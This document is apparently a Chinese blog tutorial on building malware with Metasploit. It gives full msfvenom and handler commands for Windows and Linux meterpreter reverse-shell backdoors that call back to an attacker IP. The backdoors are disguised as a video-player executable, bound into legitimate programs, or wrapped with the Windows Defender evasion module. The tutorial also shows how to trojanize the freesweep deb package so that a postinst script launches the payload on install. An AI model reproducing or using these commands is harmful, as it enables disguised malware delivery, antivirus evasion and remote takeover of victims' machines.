1. 制作Windows恶意软件

1.1 使用msfvenom生成后门木马

制作后门程序

sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音.exe

msf启动handler监听后门程序,

use exploit/multi/handler 

msf6 exploit(multi/handler) > set lhost 192.168.142.135
lhost => 192.168.142.135
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit 

启动Apache服务:

systemctl start apache2

靶机访问链接下载文件http://192.168.142.135/西瓜影音.exe,执行

当靶机运行后门程序,反弹成功,恶意软件成功连接。

1.2 给真正的软件加上后门

先查看主程序会调用哪些附加的小程序,然后把  payload 后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时报错。

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x xxx.exe -f exe -o /var/www/html/xxx.exe

 

1.3 使用evasion模块生成后门木马

use evasion/windows/windows_defender_exe

show options查看配置,自定义文件名,run

启动exploit/multi/handler监听模块,设置好端口,run开始监听

2. 制作Linux恶意软件

2.1 msfvenom制作linux恶意软件获取shell

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o  /var/www/html/sss

开启Apache服务,设置好payload开启handler监听

打开靶机,下载后门文件,添加执行权限并执行。

wget http://192.168.142.135/sss

 2.2 制作deb恶意软件包获取shell

下载freesweep,仅下载模式模式

apt install freesweep --download-only

下载的文件在/var/cache/apt/archives下,移动到根目录,dpkg解压。

dpkg -x freesweep_1.0.1-2_amd64.deb freesweep 

制作恶意deb包

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o /home/kali/freesweep/usr/games/freesweep_sources

拓展:生成软件包时无论是  payload 的和软件包信息都需要选择能够在目标操作系统上执行的。 
创建软件包信息目录

mkdir ~/freesweep/DEBIAN && cd /root/free/DEBIAN

创建软件包的信息文件

tee /root/free/DEBIAN/control << 'EOF' 
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement 
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF

创建  deb 软件包,安装后脚本文件,来加载后门

tee /root/free/DEBIAN/postinst << 'EOF' 
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources 
sudo /usr/games/freesweep_sources &
EOF

给脚本文件添加执行权限

chmod 755 /root/free/DEBIAN/postinst

靶机下载安装deb包:

监听成功

sudo dpkg -r freesweep卸载,连接会话正常

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值